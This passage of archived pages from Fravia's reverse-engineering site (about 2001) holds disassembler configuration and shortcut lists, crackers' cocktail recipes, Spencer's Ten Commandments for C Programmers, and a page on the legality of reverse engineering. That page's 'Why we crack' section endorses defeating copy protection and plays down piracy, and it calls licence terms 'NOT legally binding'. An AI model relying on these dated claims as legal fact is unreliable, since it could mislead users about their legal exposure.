#define AF_NULLSUB 0x0200 // Rename empty functions as nullsub_...
#define AF_LVAR 0x0400 // Create stack variables
#define AF_TRACE 0x0800 // Trace stack pointer
#define AF_ASCII 0x1000 // Create ascii string if data xref exists
#define AF_IMMOFF 0x2000 // Convert 32bit instruction operand to offset
#define AF_DREFOFF 0x4000 // Create offset if data xref to seg32 exists
#define AF_FINAL 0x8000 // Final pass of analysis
// See also ANALYSIS2, bit AF2_DODATA

ANALYSIS = 0xFFFF // This value is combination of the defined


// above bits.

#define AF2_JUMPTBL 0x0001 // Locate and create jump tables


#define AF2_DODATA 0x0002 // Coagulate data segs in the final pass

ANALYSIS2 = 0x0001

//-------------------------------------------------------------------------
//
// Text representation
//
//-------------------------------------------------------------------------

OPCODE_BYTES = 6 // don't display bytes of instruction/data


INDENTION =0 // Indention of instructions
COMMENTS_INDENTION = 30 // Indention for on-line comments
MAX_TAIL = 16 // Tail depth
MAX_XREF_LENGTH = 80 // Maximal length of line with cross-references
MAX_DATALINE_LENGTH = 70 // Data directives (db,dw, etc):
// max length of argument string
SHOW_AUTOCOMMENTS = YES // Don't show silly comments
SHOW_BAD_INSTRUCTIONS = NO // Don't bother about instruction lengthes
SHOW_BORDERS = YES // Borders between data/code
SHOW_EMPTYLINES = NO // Generate empty line to make
// text more readable
SHOW_LINEPREFIXES = YES // Show line prefixes (1000:0000)
SHOW_SEGMENTS = YES // Show segments in addresses
USE_SEGMENT_NAMES = YES // Show segment names instead of numbers
SHOW_REPEATABLE_COMMENTS = YES // Of course, use repeatable comments
// Disabling this increases IDA speed.
SHOW_VOIDS = NO // Don't display marks
SHOW_XREFS = 100 // Show 2 cross-references
SHOW_XREF_VALUES = YES // If not, xrefs are displayed
// as "..."
SHOW_SEGXREFS = YES // Show segment part of addresses
// in cross-references
SHOW_SOURCE_LINNUM = YES // Show source line numbers
// (used in .obj files and java)

http://www.instinct.org/fravia/breathi.htm (7 of 9) [2/7/2001 3:03:53 PM]


Fravia's copy of Mammon_'s Tales To His Grandson
SHOW_ASSUMES = YES // Generate 'assume' directives
SHOW_ORIGINS = YES // Generate 'org' directives
USE_TABULATION = YES // Use '\t' in output file
//-------------------------------------------------------------------------
// Proccesor specific parameters
//-------------------------------------------------------------------------
#ifdef __PC__ // INTEL 80x86 PROCESSORS
USE_FPP = YES
// Floating Point Processor
// instructions are enabled

WINDIR = "c:\\windows\\system" // Default directory to look up for


// DLL files

Shortcuts
Alt-Z DOS Shell Alt-X Exit
Ctrl-W Save Databse Ctrl-F10 Produce .exe file
Alt-F10 Produce .asm file Shift- F10 Produce .map file
F1 Help F2 IDC File
F3 Open Window F4 Toggle Hex/Asm view
Shfit-F6 Previous Window F6 Next Window
F7 Tile Windows F8 Cascade Windows
F5 Zoom F10 Activate Menu
C Current line=Code D Current line=Data
A Display current line in ASCII N Name current line
: Add comment Alt-M Mark Position
Q Operand=Hex H Operand=Decimal
B Operand=Binary R Operand=Character
Enter Jump to location under cursor Esc Return from jump
G Goto Address Ctrl-L Goto Name
Ctrl-P Goto Function Ctrl-S Goto Segment
Ctrl-M Goto Marked Position Ctrl-X Goto Cross Reference
Ctrl-E Goto Entry Point Alt-T Search for text
Ctrl-C Search for next code Ctrl-D Search for next data
? Calculate expression Shift-F2 Run IDC command

Sourcer
Synpopsis: Sourcer v.7.0 is a DOS mode disassembler that uses a Windows pre-processor (essentially a script that calls
resdump, dumppe, impdump, dumplx, and dumpne, then formats their output for use by Sr.exe); together the whole package
is 1.79 MB. Output is a .lst file containing the asm source code for the original file; the goal of Sourcer is to provide source
code that is re-compilable for the target assembler.
Usage: Sourcer is non-interactive; the user sets options for disassembly, then runs Sourcer--when it has finished, they can
peruse the .lst or .asm file at their leisure in a standard text editor. Windows programs are first run through the winp.exe
preprocessor, which produces a .r and .wdf file as input for sr.exe (the main Sourcer executable).

http://www.instinct.org/fravia/breathi.htm (8 of 9) [2/7/2001 3:03:53 PM]


Fravia's copy of Mammon_'s Tales To His Grandson

Windows Preprocessor:
Sourcer:

W32DASM
Synpopsis: W32DASM v.8.9 is a combined disassembler/debugger that totals up to 2.13MB. The disassembler allows
viewing of one file at a time; starting a debug process allows the disassembled file to be run and patched in memory
(debug-mode commands are marked with D, below). Features include import and export function tables, reference tables for
strings, menus, and dialog boxes, hex dumps of data and code segments, and jump/call branching. The debugger is standard
fare with the added features of in-memory code patching and Windows API call "detailing"--a valuable feature that gives the
parameters and returns of any API call made by the program.
Usage:
Debugger:
Shortcuts
Ctrl-L Load Process Ctrl-T Terminate Process (D)
F5 Auto Step Into(D) F6 Auto Step Over(D)
F7 Step Into(D) F8 Step Over(D)
F9 Run Process(D) Space Pause Process(D)
F2 Breakpoint Toggle (D) Ctrl-C Copy Selection
Ctrl-S,F Find Text F3 Find Next
Ctrl-S Goto Code Start F10 Goto Entry Point
F11 Goto Page F12 Goto Code Location
Lft Arrow Execute Jump Ctrl Rt Arrow Return From Jump
Lft Arrow Execute Call Rt Arrow Return From Call

Back to fravia's useful tools

http://www.instinct.org/fravia/breathi.htm (9 of 9) [2/7/2001 3:03:53 PM]


cocktail.htm: fravia's lost depot of cocktails and microprocessor prayers

CRACKERS' COCKTAILS & [other paraphernalia]

(Updated June 1999)

Submit your recipes, I'll publish them

(Apparently nowadays each cracker has a particular cocktail to suggest)

Crackers' cocktails

__+ORC's Martini-Wodka__
+ORC has described the preparation of his mytical "Zen" Martini-Wodka
in his lessons at least 100 times, here, resumed for you, his "HOW TO":

Get an "highball" glass (cylindrical "milk" glass: holds about


200-285 ml.)
- Two ice cubes
- Dry Martini from Martini Rossi (1/3 glass)
- Wodka Moskowskaia (only russian Wodka will do) (1/3 glass)
- Schweppes Indian Tonic (1/3) glass
- Lemon zest (from Malta???)
- Green Olive (from Tuskany ???)
Sip slowly, look at the data, meditate, crack anything in sight.

http://www.instinct.org/fravia/cocktail.htm (1 of 7) [2/7/2001 3:04:33 PM]


cocktail.htm: fravia's lost depot of cocktails and microprocessor prayers

__Fravia's Traitor__
I'll give you the recipe of a very good cocktail, called "the Traitor"
in the lagoons where I come from because you drink it happily till it's too late
to stop:
- Orange Juice (use good oranges, not the sloppy spanish ones)
- Gin (Gordon Gin, nothing else)
- Nutmeg
- Honey
Well, the 4 ingredients should "disappear", i.e. Orange Juice and Gin
should annihilate, and Nutmeg and Honey too.
The perfect "Traitor" is a masterpiece of balance between the 4
ingredients... just try it, you'll love it.
I believe it helps particularly when you try to find wich call
triggers a protection.

__Atheist's best__
Atheist (Atheist(at)usa(point)net) has not yet proposed so
many good cracking trick, but his
cocktail is really faboulous, I tried it:
- Ice cubes
- 1/2 glass Wodka
- 1/6 glass Maraschino
- 2/6 glass Lemon Juice
You prepare now ANOTHER glass with champagne (only)
Now pour and mix everything together: you'll get TWO glasses of
this incredible cocktail.
Atheist says that he can crack *everything* after one glass, and
that he does not care if he cannot after both of them.

__ACP's Zombie__
Well, a good cracker (acp(at)xforce(point)net) poposes a good cocktail, here you go:
1) 1 kewl glass of russian vodka (of course :-)
2) 2 kewl ice-cubes...
3) a spoon of Chocolate Rum
4) 2 drops of fresh lemon

mix it all up, and you're ready to go!

http://www.instinct.org/fravia/cocktail.htm (2 of 7) [2/7/2001 3:04:33 PM]


cocktail.htm: fravia's lost depot of cocktails and microprocessor prayers

__Apathy's white russian __

Well, a nice one (Apathy(at)operamail(point)com), here you go with


Apathy's own variation of the classic White Russian:

Take a good size glass (14 oz.) - basically a large milk glass and fill
it as such:
1/4 Vodka (Russian is always the best - I can unfortunately only
find Smirnov where I live)
1/4 Spiced Rum (I'm sure any brand will do, but I have always found
Cruzan and Captain Morgan's to be the best)
1/4 Kahlua
1/4 Light Cream (heavy cream if you like really rich drinks)
nutmeg

The nutmeg quantity varies from person to person... Hell, you can put an
entire bottle in if you like (I can guarentee you will have a very
interesting night if you do :-)

Sip your cocktail... sit back... put in some Pink Floyd... crack to
your hearts content.

__Makoli's Makoli __

Well, who said that we should only drink 'western' cocktails?


(makoli(at)hotmail(point)com) (a reality reverser), gives us the
following:

Yes, that's right: makoli is the name of a drink!


I guarantee it will cut trough the murk of even the shadiest
misinformation.
Here's how to make your own. I'm sorry, the amounts aren't exact,

http://www.instinct.org/fravia/cocktail.htm (3 of 7) [2/7/2001 3:04:33 PM]


cocktail.htm: fravia's lost depot of cocktails and microprocessor prayers
but as you learn to drink it you'll also learn how to make it.

raw rice - big bagful


sugar - about equal in volume to the rice
water - decide amount later

Wash the rice briefly, and grind it up into a powder. Though it doesn't
really matter, the final size should be at least as small as a quarter
of a rice grain.

Mix the ground rice, sugar and lots of water, enouch to cover the rice
several times over.

Cover and leave it all to stand until bubbles come. When it smells too
strong to consider edible, it's ready!

Make sure to stir it before you pour it, and also to swirl it with your
little finger periodically while you drink it.
Otherwise the solid stuff settles out!

See the beautiful cartoon by Moebius: "Escale sur Pharagonescia" to


understand what would happen if you don't strikez your Koks, sorry, if you
don't stir your Makoli... :-)

__NiTrO's two__

Well, chocolate and strawberry, like in the Cuban film...


(NiTrO_real(at)yahoo(dot)co(dot)uk), gives us the
following two cocktails:

NiTrO's Nitro10 cl. Stroh 80Hot chocolateWhipped creamRasped chocolate


Pour Stroh 80 and hot chocolate into coffee cup.
Top with whipped cream, and put rasped chocolate aftertaste.Stir with teaspoon.
Type: CocktailSeason: WinterTemperature: Hot
--------------------------------------------------------------------------------------------------------------
http://www.instinct.org/fravia/cocktail.htm (4 of 7) [2/7/2001 3:04:33 PM]
cocktail.htm: fravia's lost depot of cocktails and microprocessor prayers
NiTrO's Tender5 cl Vodka (Russian, of course:)5 cl Malibu liquer
5 cl Raspberry juice (or strawberry)5 cl Ananas juice10 cl cream
Mix with crushed ice in shaker. Pour unstrained into highball glass.
Serve with a straw.Type: CocktailSeason: AllTemperature: Cold

Other paraphernalia

Come to think of, it, sipping our cocktails


you may also pray the x86 processors... here a nice one by Matt Pietrek:

Our Caller, who art on the stack frame


Hallowed be thy Parameters
Thy Address Space come
Thy I/O be done
In Registers, as it is in Memory
Give us this day our periodic timeslices
And forgive us our page faults
As we forgive those who pass invalid parameters
Lead us not to unconditional JMPs
But deliver us from segment registers
For thine is the Address Space, the Registers, and the I/O ports
Jmp $
Ret

Matt Pietrek, 1998

Not enough? Here you have the Ten Commandments for C Programmers
By Henry Spencer (added in December 1998)

Not enough? Here you have the IN THE BEGINNING: History of Windows
Proposed by Chimaera (added in June 1999)

http://www.instinct.org/fravia/cocktail.htm (5 of 7) [2/7/2001 3:04:33 PM]


cocktail.htm: fravia's lost depot of cocktails and microprocessor prayers

"Indeed, La! 'tis a noble child; a crack, madam"

SHAKESPEARE:
Coriolanus, I,
iii.

You'r deep inside fravia's pages of reverse engineering, choose your way out:

homepage

links

+ORC

students' essays

anonymity

antismut

tools

counter measures

enemy tracking

corporate survival

http://www.instinct.org/fravia/cocktail.htm (6 of 7) [2/7/2001 3:04:33 PM]


cocktail.htm: fravia's lost depot of cocktails and microprocessor prayers
search_forms

mail_fravia+

Is reverse engineering legal?

(c)
Fravia 1995, 1996, 1997, 1998, 1999. All rights
reserved

http://www.instinct.org/fravia/cocktail.htm (7 of 7) [2/7/2001 3:04:33 PM]


fravia's paraphernalia: The Ten Commandments for C Programmers

Courtesy of fravia's page of reverse engineering

The Ten Commandments for C Programmers


By: Henry Spencer

1. Thou shalt run lint frequently and study its pronouncements with care, for verily its perception and
judgement oft exceed thine.
This is still wise counsel, although many modern compilers search out many of the same sins, and
there are often problems with lint being aged and infirm, or unavailable in strange lands. There are
other tools, such as Saber C, useful to similar ends.
'Frequently' means thou shouldst draw thy daily guidance from it, rather than hoping thy code will
achieve lint's blessing by a sudden act of repentance at the last minute. De-linting a program which
has never been linted before is often a cleaning of the stables such as thou wouldst not wish on thy
worst enemies. Some observe, also, that careful heed to the words of lint can be quite helpful in
debugging. 'Study' doth not mean mindless zeal to eradicate every byte of lint output-if for no
other reason, because thou just canst not shut it up about some things-but that thou should know
the cause of its unhappiness and understand what worrisome sign it tries to speak of.
2. Thou shalt not follow the NULL pointer, for chaos and madness await thee at its end.
Clearly the holy scriptures were mis-transcribed here, as the words should have been 'null pointer',
to minimize confusion between the concept of null pointers and the macro NULL (of which more
anon). Otherwise, the meaning is plain. A null pointer points to regions filled with dragons,
demons, core dumps, and numberless other foul creatures, all of which delight in frolicing in thy
program if thou disturb their sleep. A null pointer doth not point to a 0 of any type, despite some
blasphemous old code which impiously assumes this.
3. Thou shalt cast all function arguments to the expected type if they are not of that type already,
even when thou art convinced that this is unnecessary, lest they take cruel vengeance upon thee
when thou least expect it.
A programmer should understand the type structure of his language, lest great misfortune befall
him.
Contrary to the heresies espoused by some of the dwellers on the Western Shore, 'int' and 'long'are
not the same type. The moment of their equivalence in size and representation is short, and the
agony that awaits believers in their interchangeability shall last forever and ever once 64-bit
machines become common.
Also, contrary to the beliefs common among the more backward inhabitants of the Polluted
Eastern Marshes, 'NULL' does not have a pointer type, and must be cast to the correct type
whenever it is used as a function argument.
(The words of the prophet Ansi, which permit NULL to be defined as having the type 'void *', are
oft taken out of context and misunderstood. The prophet was granting a special dispensation for
use in cases of great hardship in wild lands. Verily, a righteous program must make its own way
through the Thicket Of Types without lazily relying on this rarely-available dispensation to solve
all its problems. In any event, the great deity Dmr who created C hath wisely endowed it with

http://www.instinct.org/fravia/tencomm.htm (1 of 4) [2/7/2001 3:04:37 PM]


fravia's paraphernalia: The Ten Commandments for C Programmers

many types of pointers, not just one, and thus it would still be necessary to convert the prophet's
NULL to the desired type.)
It may be thought that the radical new blessing of 'prototypes' might eliminate the need for caution
about argument types. Not so, brethren. Firstly, when confronted with the twisted strangeness of
variable numbers of arguments, the problem returns... and he who has not kept his faith strong by
repeated practice shall surely fall to this subtle trap. Secondly, the wise men have observed that
reliance on prototypes doth open many doors to strange errors, and some indeed had hoped that
prototypes would be decreed for purposes of error checking but would not cause implicit
conversions. Lastly, reliance on prototypes causeth great difficulty in the Real World today, when
many cling to the old ways and the old compilers out of desire or necessity, and no man knoweth
what machine his code may be asked to run on tomorrow.
4. If thy header files fail to declare the return types of thy library functions, thou shalt declare them
thyself with the most meticulous care, lest grievous harm befall thy program.
The prophet Ansi, in her wisdom, hath added that thou shouldst also scourge thy Suppliers, and
demand on pain of excommunication that they produce header files that declare their library
functions. For truly, only they know the precise form of the incantation appropriate to invoking
their magic in the optimal way. The prophet hath also commented that it is unwise, and leads one
into the pits of damnation and subtle bugs, to attempt to declare such functions thyself when thy
header files do the job right.
5. Thou shalt check the array bounds of all strings (indeed, all arrays), for surely where thou typest
'foo' someone someday shall type `supercalifragilisticexpialidocious'.
As demonstrated by the deeds of the Great Worm, a consequence of this commandment is that
robust production software should never make use of gets(), for it is truly a tool of the Devil. Thy
interfaces should always inform thy servants of the bounds of thy arrays, and servants who spurn
such advice or quietly fail to follow it should be dispatched forthwith to the Land Of Rm, where
they can do no further harm to thee.
6. If a function be advertised to return an error code in the event of difficulties, thou shalt check for
that code, yea, even though the checks triple the size of thy code and produce aches in thy typing
fingers, for if thou thinkest 'it cannot happen to me', the gods shall surely punish thee for thy
arrogance.
All true believers doth wish for a better error-handling mechanism, for explicit checks of return
codes are tiresome in the extreme and the temptation to omit them is great. But until the far-off day
of deliverance cometh, one must walk the long and winding road with patience and care, for thy
Vendor, thy Machine, and thy Software delight in surprises and think nothing of producing subtly
meaningless results on the day before thy Thesis Oral or thy Big Pitch To The Client.
Occasionally, as with the ferror() feature of stdio, it is possible to defer error checking until the end
when a cumulative result can be tested, and this often produceth code which is shorter and clearer.
Also, even the most zealous believer should exercise some judgement when dealing with functions
whose failure is totally uninteresting... but beware, for the cast to void is a two-edged sword that
sheddeth thine own blood without remorse.
7. Thou shalt study thy libraries and strive not to re-invent them without cause, that thy code may be

http://www.instinct.org/fravia/tencomm.htm (2 of 4) [2/7/2001 3:04:37 PM]


fravia's paraphernalia: The Ten Commandments for C Programmers

short and readable and thy days pleasant and productive.


Numberless are the unwashed heathen who scorn their libraries on various silly and spurious
grounds, such as blind worship of the Little Tin God (also known as 'Efficiency'). While it is true
that some features of the C libraries were ill-advised, by and large it is better and cheaper to use
the works of others than to persist in re-inventing the square wheel. But thou should take the
greatest of care to understand what thy libraries promise, and what they do not, lest thou rely on
facilities that may vanish from under thy feet in future.
8. Thou shalt make thy program's purpose and structure clear to thy fellow man by using the One
True Brace Style, even if thou likest it not, for thy creativity is better used in solving problems
than in creating beautiful new impediments to understanding.
These words, alas, have caused some uncertainty among the novices and the converts, who
knoweth not the ancient wisdoms. The One True Brace Style referred to is that demonstrated in the
writings of the First Prophets, Kernighan and Ritchie. Often and again it is criticized by the
ignorant as hard to use, when in truth it is merely somewhat difficult to learn, and thereafter is
wonderfully clear and obvious, if perhaps a bit sensitive to mistakes.
While thou might think that thine own ideas of brace style lead to clearer programs, thy successors
will not thank thee for it, but rather shall revile thy works and curse thy name, and word of this
might get to thy next employer. Many customs in this life persist because they ease friction and
promote productivity as a result of universal agreement, and whether they are precisely the optimal
choices is much less important. So it is with brace style.
As a lamentable side issue, there has been some unrest from the fanatics of the Pronoun Gestapo
over the use of the word 'man' in this Commandment, for they believe that great efforts and loud
shouting devoted to the ritual purification of the language will somehow redound to the benefit of
the downtrodden (whose real and grievous woes tendeth to get lost amidst all that thunder and
fury). When preaching the gospel to the narrow of mind and short of temper, the word 'creature'
may be substituted as a suitable pseudoBiblical term free of the taint of Political Incorrectness.
9. Thy external identifiers shall be unique in the first six characters, though this harsh discipline be
irksome and the years of its necessity stretch before thee seemingly without end, lest thou tear thy
hair out and go mad on that fateful day when thou desirest to make thy program run on an old
system.
Though some hasty zealots cry 'not so; the Millenium is come, and this saying is obsolete and no
longer need be supported', verily there be many, many ancient systems in the world, and it is the
decree of the dreaded god Murphy that thy next employment just might be on one. While thou
sleepest, he plotteth against thee. Awake and take care.
It is, note carefully, not necessary that thy identifiers be limited to a length of six characters. The
only requirement that the holy words place upon thee is uniqueness within the first six. This often
is not so hard as the belittlers claimeth.
10. Thou shalt foreswear, renounce, and abjure the vile heresy which claimeth that 'All the world's a
VAX', and have no commerce with the benighted heathens who cling to this barbarous belief, that
the days of thy program may be long even though the days of thy current machine be short.

http://www.instinct.org/fravia/tencomm.htm (3 of 4) [2/7/2001 3:04:37 PM]


fravia's paraphernalia: The Ten Commandments for C Programmers

This particular heresy bids fair to be replaced by 'All the world's a Sun' or 'All the world's a 386'
(this latter being a particularly revolting invention of Satan), but the words apply to all such
without limitation. Beware, in particular, of the subtle and terrible 'All the world's a 32-bit
machine', which is almost true today but shall cease to be so before thy resume grows too much
longer.

Back to cocktails

homepage links anonymity +ORC students' essays academy database


tools counter measures antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/tencomm.htm (4 of 4) [2/7/2001 3:04:37 PM]


legal.htm: Fravia's page about the legal aspects of reverse engineering

__Is reverse engineering legal?__


Version November 1998

[European Union's laws] ~ [United States' laws] ~ [Why we crack]


[The 'legal scarecrow' saga] ~ [Intellectual Property Protection]

Additions and slightly different positions


1) The+Starling's essay

Reverse engineering a program you have legitimately bought and studying or modifying its code is perfectly LEGAL, at least
in the European Union, as long as
* You do it only for your personal use or for "educational purposes" (i.e. study)
* You do not use big chunks of the code for applications you SELL
You may for instance completely modify Wordpad for your personal use, as I did, in order to have as defaults *.txt, *.alf and
*.asm instead of the almost useless *.doc
You may rip off whatever code you want from whichever application you want in order to use it, modify it, squash it with a
mace or throw it away :-)

Well, let's demonstrate it... here is the law:

European Union Directive, (Software Copyright Protection) 14 May 1991:

Article 6: Decompilation

1. The authorization of the rightholder shall not be required where reproduction of


the
code and translation of its form within the meaning of Article 4 (a) and (b) are
indispensable to obtain the information necessary to achieve the interoperability
of an independently created computer program with other programs, provided that
the following conditions are met:...
This, translated, means that you do not need "the authorization of the rightholder" like you would for 4a (temporary
reproduction of a program) or 4b (translation, adaption, arrangement and any other alteration of a program) if this is
necessary to debug and/or run the crap you have bought. The "following conditions" are that you do it yourself and only
insofern as you deem to need it really.

Note -what's even MORE important for reverse engineering- that at article 5 there are some EXCEPTIONS to the restricted
acts:

Article 5: Exceptions to the restricted acts

1. In the absence of specific contractual provisions, the acts referred to in


Article 4 (a) and (b) shall not require authorization by the rightholder
where they are necessary for the use of the computer program by the lawful
acquirer in accordance with its intended purpose, including for error correction.

http://www.instinct.org/fravia/legal.htm (1 of 7) [2/7/2001 3:04:42 PM]


legal.htm: Fravia's page about the legal aspects of reverse engineering

2. The making of a back-up copy by a person having a right to use the


computer program may not be prevented by contract insofar as it is
necessary for that use.

3. The person having a right to use a copy of a computer program shall be


entitled, without the authorization of the rightholder, to observe, study
or test the functioning of the program in order to determine the ideas
and principles which underlie any element of the program if he does so
while performing any of the acts of loading, displaying, running,
transmitting or storing the program which he is entitled to do.

Quite right! Obviously there cannot be a "looking under the cover is forbidden" policy, which would lame all technical
development (it's already lamed enough like it is now), therefore you may observe, study or test the functioning of any program
you fancy (the reason is that they could not have forbidden it anyway :-) sipping your favourite Martini
There is another point at art.7.1.(c) that refers to "technical devices which may have been applied to protect a computer
program", which could be of interest for us:

...Member States shall provide, in accordance with their national


legislation, appropriate remedies against a person committing...

(c) any act of putting into circulation, or the possession for commercial
purposes
of, any means the sole intended purpose of which is to facilitate the
unauthorized
removal or circumvention of any technical device which may have been applied to
protect a computer program.

But this refers -at most- to dongles-cracking and it is clearly intended for mass-burning of pirated cd-roms (which BTW is a
big industry in the far East and in the Ex-Yugoslavian Lilliput states)

US law seems to be more restrictive (which is obvious, given the way our planet is ruled, since the States lead themselves the
software industry and therefore defend their own interests... software protection laws will probably be much more permissive
only when the new software will be mainly produced by the poor countries), see, for the differences between European Union's
laws and US' laws , the articles at http://www.ipww.com/mar96/p13world.html

Here is an interesting snippet about disassembling and law in the States, 1992

Disassembly of Object Code

Sega v. Accolade, decided by the Ninth Circuit in 1992, makes clear that, in certain instances, the unauthorized disassembly of
a computer program's object code in order to derive source code is not a copyright infringement. The Ninth Circuit applied the
'fair use' balancing test to determine that Accolade's use of reverse engineering techniques to produce an 'intermediate copy' of
Sega's source code did not constitute copyright infringement. Accolade never distributed the intermediate copy commercially,
but instead used it only to extract unprotectable ideas a sequence of bytes which act as a software key from Sega's game
program. This key was then incorporated into Accolade's games, enabling them to 'unlock' and run on Sega's game platforms.
The court cautioned, however, that disassembly involves the making of a literal copy of a program, and it is permissible only
when necessary to extract the unprotectable ideas. It is unclear how far this fair use right extends.

This brings us nowhere... the whole subject seems pretty unregolated as for now... it would be worth to examine and "reverse
engineer" (if you are a lawyer or a specialist in applied semantics) the various "scarecrow" information that we always find
inside all software packages... some of them are so severe and unpolite that seem written by an Orwellian fanatic or a
"Farenheit 451" follower :-). See below about this aspect.

http://www.instinct.org/fravia/legal.htm (2 of 7) [2/7/2001 3:04:42 PM]


legal.htm: Fravia's page about the legal aspects of reverse engineering

WHY WE CRACK
Now the "why we crack" part: We are defeating mainly copy protection schemes (but see my two lessons on how to
completely reverse engineer a Windows 3.1 application) bacause that's fun, and this way we can get a lot of people on the
bandwagon, for the challenge, and because we believe firmly that every knowledge (in fact I believe everything) should be
free (in the web and in the whole world)... but we are doing NOTHING at all compared with that what is really happening
around you:
Every program you can think of can be found on the web, (in thousand different ftps) in its COMPLETE version many
WEEKS before it ever appears in the best shops, as everyone with intelligence level "eggplant" soon discovers.
There are obviously differences among all the stupid countries of the planet... You may want to have a look here in order to
consider where you would be able to buy/produce pirated software or where you should install your server for more "aimed"
reverse engineering activities or whatever:-) Besides, since there are "money" and "tax" paradises (and -how funny- nobody
makes much fuss about that), why shouldn't there exist "software" paradises? (Obvious answer: because money paradises are
useful for the rich, software paradises would be useful for the poor :-(

And that's the huge "illegal" part of it, but there is also a huge "legal" pirating (forced by the fierce concurrence in the software
market and by the mere existence of the warez scene on the Web):

Programs and applications are being now sold on Magazine's CD-ROMs IN THEIR COMPLETE VERSION few months after
their first appearence for next to nothing... this began in Europe 5 months ago and the rithmus (and the quality of the software)
has increased enormously: I saw some days ago Panzer general 2 complete (CD Player n.19), Ticonderoga complete (both not
at all so old games: late 1996!) Database 5 and the whole Lotus set '97 complete and unrestricted (PcPlus 35b, with the
complete Borland Delphi 1 and the complete "ImagePals" as well) on various magazine's cd-rom. The same Lotus set was, for
instance, sold in its boxes at the software retailer for TWENTY times the magazine price, it may sound illogic, but it is exactly
so... Lotus is scared dead to disappear (thanks to the Micro$oft war against all other software producers... funny, there never
seem to be any law against this kind of actions , btw :-( and Lotus is therefore compelled, like Netscape, to give away for free
its software just in order to survive... yet even these magazines with 600 megabytes of good software on them every month are
selling less and less (hence the fierce concurrence) because everything is already on the web for free...

And all this is only the top of the Iceberg: Hundred of THOUSAND of BBS all around the world push around tons of
Megabytes of pirated software, which to day you may easily burn on cd-roms in order to distribute them at your friends on
your birthday party. Cheaper than buying a cake

And that was for the big commercial" software companies. Shareware programmers are NOT damaged by good crackers (who
study assembly and are mostly programmers themselves) but by themselves, when they program with useless overbloated
languages huge toy-applications and by "serial numbers aficionados", people that prepare and distribute huge lists with
millions of validation codes that you can find everywhere on the web.

On our pages there is not a single pirated copy of software... we do not need pirated copies since we are able to crack them in
spades anytime we fancy (or to fetch them immediately from the web... we don't even need to keep programs on our harddisk
any more, would be like hoarding leaves in a forest) besides we do not even care much for the software we crack... in fact
(apart our beloved Softice) we are much more interested in the protection schemes themselves than in the software they
protect, which most of the time is pure crap. As you'll see in some examples of +ORC's tutorial and in many students' essays,
we even AMELIORATE the programs we crack.
We do not steal, we study, and the software development will soon depend (and in part depends already) from the capacities
that we (and almost nobody else) are developing: who else if not a cracker will in few years time be able to compact and
ameliorate already existing, lame applications? I believe the society is already changing, and in my opinion the fact that you
have worked in something like the +HCU will soon open you quite a lot of doors :-)

As you'll read on the (very important) student page, one of our problems, is that the protection schemes are (mostly)
incredibly stupid. That's why we have decided to begin writing and devising much stronger protection schemes ourselves... for

http://www.instinct.org/fravia/legal.htm (3 of 7) [2/7/2001 3:04:42 PM]


legal.htm: Fravia's page about the legal aspects of reverse engineering

the challenge and in order to improve ourselves, seen that the commercial programmers are not able to give us any "cheap
thrills" any more... how could they? Most programmers seem to work for useless money, not for the (very important) pleasure,
nor for the only thing that really matters in this new age we are already in: knowledge!
You may want to have a look at some programmers' discussions in my counter intelligence section, at some advices for
programmers in my How to protect better and programmers' corner sections.

THE SCARECROW AGREEMENT SAGA

('Legal scarecrow' agreements are NOT legally binding)


Most licence agreement (that thing that you click "I agree" on and never read, where you agree to give up your first born child
and let your sister be sold as a slave :-) include a clause that prohibits reverse engineering. A couple of examples...

IF YOU AGREE TO THE DISCLAIMER AND LICENSE YOU MAY:

(i) use this software on as many computers as you wish at no charge for
up to but no more than 30 days. After 30 days of use you must either
discontinue the use of this software or purchase a registered version
for each computer that you are going to use this software on.

YOU MAY NOT:

(i) sublicense, rent, sell, or lease any portion of this software;

(ii) reverse engineer, decompile, disassemble, modify, translate,


make any attempt to discover the source code of this software, or
create derivative works from this software; or

(ii) continue use of this software after your 30 day trial.

DISCLAIMER OF DAMAGES:

We have made every effort possible to ensure that this software is free
of any bugs or errors, however in no way is this software to be considered
error or bug free. By using this software you assume all responsibility
for any damages or lost data that may result from any errors or bugs in
this software. Regardless of whether any remedy set forth herein fails
of its essential purpose, in no event will our Software house be liable
to you for any special, consequential, indirect or similar damages,
including any lost profits or lost data arising out of the use or inability
to use this software...

Note that you should not "reverse engineer, decompile, disassemble, modify, translate, make any attempt to discover the
source code", as if the source code of a software product were a 'private secret' that third parties are not even allowed to
examine...

Here another example:

You may not:

* permit other individuals to use the Software except under the

http://www.instinct.org/fravia/legal.htm (4 of 7) [2/7/2001 3:04:42 PM]


legal.htm: Fravia's page about the legal aspects of reverse engineering

terms listed above;


* permit concurrent use of the Software;
* modify, translate, reverse engineer, decompile, disassemble or
create derivative works based on the Software;
* copy the Software other than as specified above;
* rent, lease or otherwise transfer rights to the Software; or
* remove any proprietary notices or labels on the Software.

TITLE

Title, ownership rights, and intellectual property rights in the


Software shall remain in Our Software house and/or its
suppliers.
The Software is protected by the copyright laws and treaties.
Title and related rights in the content accessed through the Software
is the property of the applicable content owner and may be pro-
tected by applicable law. This License gives you no rights to
such content.

TERMINATION

The license will terminate automatically if you fail to comply


with the limitations described herein. On termination, you must
destroy all copies of the Software and Documentation.

Here there seems to be an interesting possibility. I reverse the software. License has been violated and terminate. I then destroy
all copies of the software, and have then respected the licence. And so on ab absurdo. Like the never-ending sentence "All
crackers are liers, lied the cracker".
OK, it is clear that such 'scarecrow' agreements are as funny and preposterous as you wish, yet of course NOT legally binding.
Let's demonstrate it ab absurdo: If they were legally binding, then ANY agreement of this sort would be, and then anyone, you
or me, could prepare on his own a small program (I promise that I'll really write it myself as soon as I find the time) that acts as
a small 'wrapper' for all this kind of software (I really wish that a good lawjer will correct this in order to make our own 'legal
scarecrows' even more dangerous-looking than those used by some softwarehouses...):

Your software is entering my private computer.


By trespassing this memory point you agree to allow complete possession
of your software to the legitime owner of this computer, and specifically
you completely and irrevocabily agree to allow
any modify, translate, reverse engineer, decompile, disassemble or
create derivative works based on this Software that
the legitime owner of this memory fancies.

You also declare as void and inexistent any


other conditions/agreements regarding your software that may preposterously
be triggered by your software inside
the RAM hosting you.

Finally you accept also COMPLETE RESPONSABILITY for any malfunctioning your
software will have caused to the owner of the hardware you are allow
to visit -take note- ONLY if you accept this.

If you don't wish to accept these conditions, please leave immediatly this private
memory and completely remove you software from this private hardware.

http://www.instinct.org/fravia/legal.htm (5 of 7) [2/7/2001 3:04:42 PM]


legal.htm: Fravia's page about the legal aspects of reverse engineering

By trespassing this memory point you have completely agreed to the above. [add
date with hours, minutes and seconds here] + [Sign with the version name of the
software]

